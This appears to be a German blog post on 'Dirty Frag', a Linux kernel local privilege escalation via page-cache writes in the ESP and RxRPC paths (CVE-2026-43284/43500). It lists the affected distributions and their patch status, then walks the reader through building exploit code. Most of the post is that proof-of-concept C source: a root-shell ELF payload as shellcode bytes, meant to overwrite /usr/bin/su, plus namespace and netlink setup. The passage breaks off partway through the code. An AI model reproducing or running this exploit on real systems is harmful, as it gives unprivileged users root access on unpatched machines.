Dirty Frag - Linux-Kernel kritische Schwachstelle - CVE-2026-43284 📚

Einführung

Die Exploit-Kette, klassifiziert als Local Privilege Escalation (LPE), ermöglicht es einem unprivilegierten Benutzer, Root-Zugriff auf praktisch alle modernen Linux-Distributionen zu erlangen, die Kernel ausführen, die seit 2017 veröffentlicht wurden, was etwa neun Jahre an Versionen umfasst. Die Ausnutzung erfolgt über den In-Place-Entschlüsselungspfad der Module esp4, esp6 und rxrpc und beschädigt den Kernel-Page-Cache durch Standard-Syscalls wie splice(2) und sendmsg(2), wobei weder Benutzerinteraktion noch ein Remote-Angriffsvektor erforderlich ist.

Die beiden Teil-Schwachstellen sind:

• xfrm-ESP Page-Cache Write - CVE-2026-43284, im IPsec-ESP-Eingangspfad. Am 7. Mai 2026 in den netdev-Baum übernommen und am 8. Mai 2026 als Commit f4c50a4034e6 (öffnet in neuem Tab) in den Mainline-Kernel aufgenommen.

• RxRPC Page-Cache Write - CVE-2026-43500 reserviert, im AFS-RxRPC-Verify-Pfad. Zum Zeitpunkt der Offenlegung existiert in keinem Zweig ein Patch.

Betroffene Distributionen

Distribution	Betroffene Versionen	CVE-2026-43284 (ESP)	CVE-2026-43500 (RxRPC)	Patch-Status
RHEL	8, 9, 10	✅ Betroffen	✅ Betroffen	Gepatcht
AlmaLinux	8, 9, 10	✅ Betroffen	⚠️ Nur 9 und 10¹	Gepatcht
Rocky Linux	8, 9, 10	✅ Betroffen	✅ Betroffen	Gepatcht
CentOS	8	✅ Betroffen	✅ Betroffen	Gepatcht
CloudLinux	7 Hybrid, 8, 9, 10	✅ Betroffen	✅ Betroffen	Gepatcht
Oracle Linux	RHCK / UEK betroffen	✅ Betroffen	✅ Betroffen	Gepatcht
Ubuntu	20.04, 22.04, 24.04	✅ Betroffen	✅ Betroffen	Gepatcht
Debian	Bullseye, Bookworm, Trixie	✅ Betroffen	✅ Betroffen	Gepatcht (zuerst sid)
Fedora	Aktuelle Releases	✅ Betroffen	✅ Betroffen	Gepatcht
Arch Linux	Rolling	✅ Betroffen	✅ Betroffen	Gepatcht
Amazon Linux	2, 2023	✅ Betroffen	✅ Betroffen	Gepatcht
Proxmox VE	Aktuelle Releases	✅ Betroffen	✅ Betroffen	Gepatcht

---

Betroffen: Linux-Kernel ≥ 4.14 (seit Jan. 2017) · Alle großen Distributionen · Kein Remote-Vektor CVSS 3.1: 8.8 HOCH (CVE-2026-43284) · Offengelegt: 7. Mai 2026 · PoC öffentlich am Tag Null Forscher: Hyunwoo Kim (@v4bel)

Ausnutzung 🔓

1. Um diese Schwachstelle auszunutzen, verwenden wir den unten stehenden Proof-of-Concept und erstellen eine Datei namens exp.c.``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>

#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif

#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */

/*

• 192-byte minimal x86_64 root-shell ELF.
• _start at 0x400078:

• setgid(0); setuid(0); setgroups(0, NULL);
  

• execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
  

• PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
• Setting TERM in the new shell's env silences the
• "tput: No value for $TERM" / "test: : integer expected" noise
• /etc/bash.bashrc and friends emit when TERM is unset.
• Code (from offset 0x78):
• 31 ff xor edi, edi
• 31 f6 xor esi, esi
• 31 c0 xor eax, eax
• b0 6a mov al, 0x6a ; setgid
• 0f 05 syscall
• b0 69 mov al, 0x69 ; setuid
• 0f 05 syscall
• b0 74 mov al, 0x74 ; setgroups
• 0f 05 syscall
• 6a 00 push 0 ; envp[1] = NULL
• 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
• 50 push rax ; envp[0]
• 48 89 e2 mov rdx, rsp ; rdx = envp
• 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
• 31 f6 xor esi, esi ; rsi = NULL (argv)
• 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
• 0f 05 syscall ; execve("/bin/sh",NULL,envp)
• "TERM=xterm\0" (offset 0xa5..0xaf)
• "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)

static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }

static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }